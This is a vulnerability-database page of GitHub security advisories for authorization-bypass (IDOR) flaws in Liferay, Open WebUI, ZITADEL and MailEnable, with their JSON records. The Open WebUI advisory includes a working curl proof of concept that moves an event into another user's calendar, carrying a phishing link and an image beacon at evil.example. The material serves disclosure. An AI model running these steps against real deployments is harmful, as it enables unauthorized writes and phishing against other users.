Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3342 vulnerabilities reference this CWE, most recent first.

GHSA-F372-9RCJ-8W2C

Vulnerability from github – Published: 2025-09-23 00:32 – Updated: 2025-09-23 15:10
VLAI
Summary
Liferay Portal and DXP allows users to add a note to a different virtual instance
Details

Insecure Direct Object Reference (IDOR) vulnerability with commerce order notes in Liferay Portal 7.3.5 through 7.4.3.112, and Liferay DXP 2023.Q4.0 through 2023.Q4.8, 2023.Q3.1 through 2023.Q3.10, and 7.4 GA through update 92 allows remote authenticated users to from one virtual instance to add a note to an order in a different virtual instance via the _com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet_commerceOrderId parameter.

Severity
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.commerce:com.liferay.commerce.service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.0.164"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-43810"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-23T15:10:51Z",
    "nvd_published_at": "2025-09-22T23:15:37Z",
    "severity": "MODERATE"
  },
  "details": "Insecure Direct Object Reference (IDOR) vulnerability with commerce order notes in Liferay Portal 7.3.5 through 7.4.3.112, and Liferay DXP 2023.Q4.0 through 2023.Q4.8, 2023.Q3.1 through 2023.Q3.10, and 7.4 GA through update 92 allows remote authenticated users to from one virtual instance to add a note to an order in a different virtual instance via the _com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet_commerceOrderId parameter.",
  "id": "GHSA-f372-9rcj-8w2c",
  "modified": "2025-09-23T15:10:51Z",
  "published": "2025-09-23T00:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43810"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal/commit/72259fbf5a81596e99b615df480dee0b0fa3aa09"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal/commit/9fad6a23b3c04146ef80a59b056f24b17cc2e721"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://liferay.atlassian.net/browse/LPE-17935"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-43810"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Liferay Portal and DXP allows users to add a note to a different virtual instance"
}

GHSA-F3G7-59QC-PQG6

Vulnerability from github – Published: 2026-06-17 14:09 – Updated: 2026-07-20 21:03
VLAI
Summary
Open WebUI IDOR: Calendar event re-parenting allows writing events into another user's calendar
Details

Summary

POST /api/v1/calendars/events/{event_id}/update validates that the caller has write access to the calendar the event currently belongs to, but does not validate the destination calendar_id supplied in the request body. The model layer then persists the new calendar_id unconditionally.

A regular user-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that create_event correctly performs. This is reachable on default configuration: ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR both default to True.

Details

Sink — missing destination check

backend/open_webui/routers/calendar.py:283-297

@router.post('/events/{event_id}/update', response_model=CalendarEventModel)
async def update_event(
    request: Request, event_id: str, form_data: CalendarEventUpdateForm,
    user: UserModel = Depends(get_verified_user)
):
    await check_calendar_permission(request, user)
    event = await CalendarEvents.get_event_by_id(event_id)
    if not event:
        raise HTTPException(status_code=404, detail='Event not found')

    await _check_calendar_access(event.calendar_id, user, 'write')   # ← SOURCE only

    updated = await CalendarEvents.update_event_by_id(event_id, form_data)  # ← writes form_data.calendar_id
    ...

backend/open_webui/models/calendar.py:658-693 (update_event_by_id)

update_data = form_data.model_dump(exclude_unset=True)
for field in [
    'calendar_id',          # ← destination persisted with no ACL
    'title', 'description', 'start_at', 'end_at', 'all_day',
    'rrule', 'color', 'location', 'is_cancelled',
]:
    if field in update_data:
        setattr(event, field, update_data[field])

Reference — create_event does check the destination

backend/open_webui/routers/calendar.py:255

await _check_calendar_access(form_data.calendar_id, user, 'write')

Default-config gates (both True)

  • backend/open_webui/config.py:1658-1662 — ENABLE_CALENDAR defaults 'True'
  • backend/open_webui/config.py:1554 — USER_PERMISSIONS_FEATURES_CALENDAR defaults 'True'
  • backend/open_webui/main.py:1457 — router mounted unconditionally

PoC

Verified end-to-end against the official ghcr.io/open-webui/open-webui:main (v0.9.4) Docker image with two fresh user-role accounts.

1. Environment

git clone https://github.com/open-webui/open-webui.git
cd open-webui && docker compose up -d        # http://localhost:3000

Create the first account (admin), then via admin UI / POST /api/v1/auths/add create two user-role accounts: attacker and victim. Sign each in and capture their JWTs as $ATTACKER_TOKEN / $VICTIM_TOKEN.

2. Obtain the victim's calendar_id

Calendar IDs are UUIDv4 (models/calendar.py:316) and not enumerable. In practice an attacker obtains one via:

  • Read-only share — victim (or a group admin) grants the attacker read on a calendar; the ID is returned by GET /api/v1/calendars/.
  • Event invitation — victim adds the attacker as an attendee on any event; the event payload (CalendarEventModel, models/calendar.py:127) includes calendar_id.
  • Any side-channel (logs, screenshots, browser history).

For reproduction the maintainer can simply read it as the victim:

VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
  -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

3. Control — direct create is correctly blocked

curl -s -o /dev/null -w '%{http_code}\n' \
  -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}"
# → 403

4. Exploit — create-then-reparent

ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

# 1. create in own calendar
EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')

# 2. move into victim's calendar — NO destination check
curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}"
# → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>"

5. Verification from victim's session

curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \
  -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool

Observed output (truncated):

[{
  "id": "1662c982-adb1-43d6-a9c8-0103fa1299c0",
  "calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb",
  "user_id": "7554dd33-e220-44cb-8441-169c55eef4f5",
  "title": "[INJECTED] Mandatory re-auth: https://evil.example/login",
  "description": "Session expired.",
  ...
}]

The injected event now lives in the victim's default calendar. A subsequent GET /events/{id} as the attacker returns 403 — confirming the move succeeded and the attacker has no legitimate access to the destination.

Impact

  • Read-only → write escalation on shared calendars: a user granted read via AccessGrants can effectively write.
  • Phishing / social engineering: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (CalendarEventChip.svelte:12 → common/Tooltip.svelte) renders title/location as DOMPurify-sanitised HTML with allowHTML=true, so an attacker can embed formatted links and <img> beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS.
  • Calendar spam / DoS: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).
Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:09:53Z",
    "nvd_published_at": "2026-06-23T18:18:05Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`POST /api/v1/calendars/events/{event_id}/update` validates that the caller has **write** access to the calendar the event *currently* belongs to, but does not validate the **destination** `calendar_id` supplied in the request body. The model layer then persists the new `calendar_id` unconditionally.\n\nA regular `user`-role account can therefore create an event in their own calendar and immediately move it into any other user\u0027s calendar whose ID they know \u2014 bypassing the authorization check that `create_event` correctly performs. This is reachable on **default configuration**: `ENABLE_CALENDAR` and `USER_PERMISSIONS_FEATURES_CALENDAR` both default to `True`.\n\n\n### Details\n### Sink \u2014 missing destination check\n\n`backend/open_webui/routers/calendar.py:283-297`\n\n```python\n@router.post(\u0027/events/{event_id}/update\u0027, response_model=CalendarEventModel)\nasync def update_event(\n    request: Request, event_id: str, form_data: CalendarEventUpdateForm,\n    user: UserModel = Depends(get_verified_user)\n):\n    await check_calendar_permission(request, user)\n    event = await CalendarEvents.get_event_by_id(event_id)\n    if not event:\n        raise HTTPException(status_code=404, detail=\u0027Event not found\u0027)\n\n    await _check_calendar_access(event.calendar_id, user, \u0027write\u0027)   # \u2190 SOURCE only\n\n    updated = await CalendarEvents.update_event_by_id(event_id, form_data)  # \u2190 writes form_data.calendar_id\n    ...\n```\n\n`backend/open_webui/models/calendar.py:658-693` (`update_event_by_id`)\n\n```python\nupdate_data = form_data.model_dump(exclude_unset=True)\nfor field in [\n    \u0027calendar_id\u0027,          # \u2190 destination persisted with no ACL\n    \u0027title\u0027, \u0027description\u0027, \u0027start_at\u0027, \u0027end_at\u0027, \u0027all_day\u0027,\n    \u0027rrule\u0027, \u0027color\u0027, \u0027location\u0027, \u0027is_cancelled\u0027,\n]:\n    if field in update_data:\n        setattr(event, field, update_data[field])\n```\n\n### Reference \u2014 `create_event` does check the destination\n\n`backend/open_webui/routers/calendar.py:255`\n\n```python\nawait _check_calendar_access(form_data.calendar_id, user, \u0027write\u0027)\n```\n\n### Default-config gates (both `True`)\n\n- `backend/open_webui/config.py:1658-1662` \u2014 `ENABLE_CALENDAR` defaults `\u0027True\u0027`\n- `backend/open_webui/config.py:1554` \u2014 `USER_PERMISSIONS_FEATURES_CALENDAR` defaults `\u0027True\u0027`\n- `backend/open_webui/main.py:1457` \u2014 router mounted unconditionally\n\n\n### PoC\nVerified end-to-end against the official `ghcr.io/open-webui/open-webui:main` (v0.9.4) Docker image with two fresh `user`-role accounts.\n\n#### 1. Environment\n\n```bash\ngit clone https://github.com/open-webui/open-webui.git\ncd open-webui \u0026\u0026 docker compose up -d        # http://localhost:3000\n```\n\nCreate the first account (admin), then via admin UI / `POST /api/v1/auths/add` create two `user`-role accounts: **attacker** and **victim**. Sign each in and capture their JWTs as `$ATTACKER_TOKEN` / `$VICTIM_TOKEN`.\n\n#### 2. Obtain the victim\u0027s `calendar_id`\n\nCalendar IDs are UUIDv4 (`models/calendar.py:316`) and not enumerable. In practice an attacker obtains one via:\n\n- **Read-only share** \u2014 victim (or a group admin) grants the attacker `read` on a calendar; the ID is returned by `GET /api/v1/calendars/`.\n- **Event invitation** \u2014 victim adds the attacker as an attendee on any event; the event payload (`CalendarEventModel`, `models/calendar.py:127`) includes `calendar_id`.\n- Any side-channel (logs, screenshots, browser history).\n\nFor reproduction the maintainer can simply read it as the victim:\n\n```bash\nVICTIM_CALENDAR_ID=$(curl -s \"$OPENWEBUI/api/v1/calendars/\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[0][\"id\"])\u0027)\n```\n\n#### 3. Control \u2014 direct create is correctly blocked\n\n```bash\ncurl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 \\\n  -X POST \"$OPENWEBUI/api/v1/calendars/events/create\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"calendar_id\\\":\\\"$VICTIM_CALENDAR_ID\\\",\\\"title\\\":\\\"x\\\",\\\"start_at\\\":1778400000000000000,\\\"end_at\\\":1778403600000000000}\"\n# \u2192 403\n```\n\n#### 4. Exploit \u2014 create-then-reparent\n\n```bash\nATTACKER_CAL=$(curl -s \"$OPENWEBUI/api/v1/calendars/\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[0][\"id\"])\u0027)\n\n# 1. create in own calendar\nEVENT_ID=$(curl -s -X POST \"$OPENWEBUI/api/v1/calendars/events/create\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"calendar_id\\\":\\\"$ATTACKER_CAL\\\",\\\"title\\\":\\\"[INJECTED] Mandatory re-auth: https://evil.example/login\\\",\\\"description\\\":\\\"Session expired.\\\",\\\"location\\\":\\\"\u003cimg src=https://evil.example/beacon.png\u003e\\\",\\\"start_at\\\":1778400000000000000,\\\"end_at\\\":1778403600000000000}\" \\\n  | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[\"id\"])\u0027)\n\n# 2. move into victim\u0027s calendar \u2014 NO destination check\ncurl -s -X POST \"$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"calendar_id\\\":\\\"$VICTIM_CALENDAR_ID\\\"}\"\n# \u2192 200, response shows \"calendar_id\":\"\u003cVICTIM_CALENDAR_ID\u003e\"\n```\n\n#### 5. Verification from victim\u0027s session\n\n```bash\ncurl -s \"$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00\u0026end=2026-06-01T00:00:00\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" | python3 -m json.tool\n```\n\nObserved output (truncated):\n\n```json\n[{\n  \"id\": \"1662c982-adb1-43d6-a9c8-0103fa1299c0\",\n  \"calendar_id\": \"0b755ea7-4ff4-4a60-9cff-8961e69c75bb\",\n  \"user_id\": \"7554dd33-e220-44cb-8441-169c55eef4f5\",\n  \"title\": \"[INJECTED] Mandatory re-auth: https://evil.example/login\",\n  \"description\": \"Session expired.\",\n  ...\n}]\n```\n\nThe injected event now lives in the victim\u0027s default calendar. A subsequent `GET /events/{id}` as the **attacker** returns **403** \u2014 confirming the move succeeded and the attacker has no legitimate access to the destination.\n\n\n### Impact\n- **Read-only \u2192 write escalation** on shared calendars: a user granted `read` via `AccessGrants` can effectively write.\n- **Phishing / social engineering**: events appear inside the victim\u0027s own private calendar (not as an external invite). The hover tooltip (`CalendarEventChip.svelte:12 \u2192 common/Tooltip.svelte`) renders `title`/`location` as DOMPurify-sanitised HTML with `allowHTML=true`, so an attacker can embed formatted links and `\u003cimg\u003e` beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS.\n- **Calendar spam / DoS**: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).",
  "id": "GHSA-f3g7-59qc-pqg6",
  "modified": "2026-07-20T21:03:10Z",
  "published": "2026-06-17T14:09:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-f3g7-59qc-pqg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54006"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-f3g7-59qc-pqg6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2722.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI IDOR: Calendar event re-parenting allows writing events into another user\u0027s calendar"
}

GHSA-F3GH-529W-V32X

Vulnerability from github – Published: 2025-03-04 16:43 – Updated: 2025-03-11 17:18
VLAI
Summary
IDOR Vulnerabilities in ZITADEL's Admin API that Primarily Impact LDAP Configurations
Details

Summary

ZITADEL's Admin API contains Insecure Direct Object Reference (IDOR) vulnerabilities that allow authenticated users, without specific IAM roles, to modify sensitive settings. While several endpoints are affected, the most critical vulnerability lies in the ability to manipulate LDAP configurations. Customers who do not utilize LDAP for authentication are not at risk from the most severe aspects of this vulnerability. However, we still strongly recommend upgrading to the patched version to address all identified issues.

Description

ZITADEL's Admin API, intended for managing ZITADEL instances, contains 12 HTTP endpoints that are unexpectedly accessible to authenticated ZITADEL users who are not ZITADEL managers. The most critical vulnerable endpoints relate to LDAP configuration:

  • /idps/ldap
  • /idps/ldap/{id}

By accessing these endpoints, unauthorized users could:

  • Modify ZITADEL's instance LDAP settings, redirecting all LDAP login attempts to a malicious server, effectively taking over user accounts.
  • Expose the original LDAP server's password, potentially compromising all user accounts.

Additional Vulnerable Endpoints

The following endpoints are also affected by IDOR vulnerabilities, potentially allowing unauthorized modification of instance settings such as languages, labels, and templates:

  • /idps/templates/_search
  • /idps/templates/{id}
  • /policies/label/_activate
  • /policies/label/logo
  • /policies/label/logo_dark
  • /policies/label/icon
  • /policies/label/icon_dark
  • /policies/label/font
  • /text/message/passwordless_registration/{language}
  • /text/login/{language}

Impact

The impact of this vulnerability varies depending on whether a ZITADEL instance utilizes LDAP for authentication:

  • LDAP Users: Successful exploitation could lead to complete takeover of user accounts and exposure of the LDAP server's password.
  • Non-LDAP Users: While the most severe risks are related to LDAP, exploitation of the additional vulnerable endpoints could still allow unauthorized modification of instance settings, impacting all organizations.

Patches

2.x versions are fixed on >= 2.71.0 2.70.x versions are fixed on >= 2.70.1 2.69.x versions are fixed on >= 2.69.4 2.68.x versions are fixed on >= 2.68.4 2.67.x versions are fixed on >= 2.67.8 2.66.x versions are fixed on >= 2.66.11 2.65.x versions are fixed on >= 2.65.6 2.64.x versions are fixed on >= 2.64.5 2.63.x versions are fixed on >= 2.63.8

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credit

This vulnerability was discovered by Amit Laish, a senior security researcher from GE Vernova and we want to thank him for reporting this to us!

Severity
9.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.63.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.64.0"
            },
            {
              "fixed": "2.64.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.65.0"
            },
            {
              "fixed": "2.65.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.66.0"
            },
            {
              "fixed": "2.66.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.67.0"
            },
            {
              "fixed": "2.67.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.68.0"
            },
            {
              "fixed": "2.68.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.69.0"
            },
            {
              "fixed": "2.69.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.70.0"
            },
            {
              "fixed": "2.70.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.63.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.64.0"
            },
            {
              "fixed": "2.64.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.65.0"
            },
            {
              "fixed": "2.65.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.66.0"
            },
            {
              "fixed": "2.66.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.67.0"
            },
            {
              "fixed": "2.67.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.68.0"
            },
            {
              "fixed": "2.68.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.69.0"
            },
            {
              "fixed": "2.69.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.70.0"
            },
            {
              "fixed": "2.70.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-04T16:43:56Z",
    "nvd_published_at": "2025-03-04T17:15:20Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nZITADEL\u0027s Admin API contains Insecure Direct Object Reference (IDOR) vulnerabilities that allow authenticated users, without specific IAM roles, to modify sensitive settings. While several endpoints are affected, the most critical vulnerability lies in the ability to manipulate LDAP configurations. Customers who do not utilize LDAP for authentication are not at risk from the most severe aspects of this vulnerability. However, we still strongly recommend upgrading to the patched version to address all identified issues.\n\n### Description\n\nZITADEL\u0027s Admin API, intended for managing ZITADEL instances, contains 12 HTTP endpoints that are unexpectedly accessible to authenticated ZITADEL users who are not ZITADEL managers. The most critical vulnerable endpoints relate to LDAP configuration:\n\n- /idps/ldap\n- /idps/ldap/{id}\n\nBy accessing these endpoints, unauthorized users could:\n\n- Modify ZITADEL\u0027s instance LDAP settings, redirecting all LDAP login attempts to a malicious server, effectively taking over user accounts.  \n- Expose the original LDAP server\u0027s password, potentially compromising all user accounts.  \n\n### Additional Vulnerable Endpoints\n\nThe following endpoints are also affected by IDOR vulnerabilities, potentially allowing unauthorized modification of instance settings such as languages, labels, and templates:\n\n- /idps/templates/_search\n- /idps/templates/{id}\n- /policies/label/_activate\n- /policies/label/logo\n- /policies/label/logo_dark\n- /policies/label/icon\n- /policies/label/icon_dark\n- /policies/label/font\n- /text/message/passwordless_registration/{language}\n- /text/login/{language} \n\n### Impact\n\nThe impact of this vulnerability varies depending on whether a ZITADEL instance utilizes LDAP for authentication:\n\n- LDAP Users: Successful exploitation could lead to complete takeover of user accounts and exposure of the LDAP server\u0027s password.  \n- Non-LDAP Users: While the most severe risks are related to LDAP, exploitation of the additional vulnerable endpoints could still allow unauthorized modification of instance settings, impacting all organizations. \n\n### Patches\n\n2.x versions are fixed on \u003e= [2.71.0](https://github.com/zitadel/zitadel/releases/tag/v2.71.0)\n2.70.x versions are fixed on \u003e= [2.70.1](https://github.com/zitadel/zitadel/releases/tag/v2.70.1)\n2.69.x versions are fixed on \u003e= [2.69.4](https://github.com/zitadel/zitadel/releases/tag/v2.69.4)\n2.68.x versions are fixed on \u003e= [2.68.4](https://github.com/zitadel/zitadel/releases/tag/v2.68.4)\n2.67.x versions are fixed on \u003e= [2.67.8](https://github.com/zitadel/zitadel/releases/tag/v2.67.8)\n2.66.x versions are fixed on \u003e= [2.66.11](https://github.com/zitadel/zitadel/releases/tag/v2.66.11)\n2.65.x versions are fixed on \u003e= [2.65.6](https://github.com/zitadel/zitadel/releases/tag/v2.65.6)\n2.64.x versions are fixed on \u003e= [2.64.5](https://github.com/zitadel/zitadel/releases/tag/v2.64.5)\n2.63.x versions are fixed on \u003e= [2.63.8](https://github.com/zitadel/zitadel/releases/tag/v2.63.8)\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at security@zitadel.com\n\n### Credit\n\nThis vulnerability was discovered by Amit Laish, a senior security researcher from GE Vernova and we want to thank him for reporting this to us!",
  "id": "GHSA-f3gh-529w-v32x",
  "modified": "2025-03-11T17:18:47Z",
  "published": "2025-03-04T16:43:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-f3gh-529w-v32x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/commit/d9d8339813f1c43d3eb7d8d80f11fdabb2fd2ee4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zitadel/zitadel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v2.63.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v2.64.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v2.65.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v2.66.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v2.67.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v2.68.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v2.69.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v2.70.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v2.71.0"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3499"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "IDOR Vulnerabilities in ZITADEL\u0027s Admin API that Primarily Impact LDAP Configurations"
}

GHSA-F3V7-JQH4-WHF5

Vulnerability from github – Published: 2026-05-08 21:31 – Updated: 2026-05-08 21:31
VLAI
Details

MailEnable Enterprise Premium 10.55 and earlier contains an improper authorization vulnerability in the WebAdmin mobile portal that allows attackers to bypass authentication checks by reusing AuthenticationToken cookies generated for low-privileged users. Attackers can obtain a token from the WebMail login endpoint using the PersistentLogin parameter and replay it against the WebAdmin portal to perform highly privileged administrative actions.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
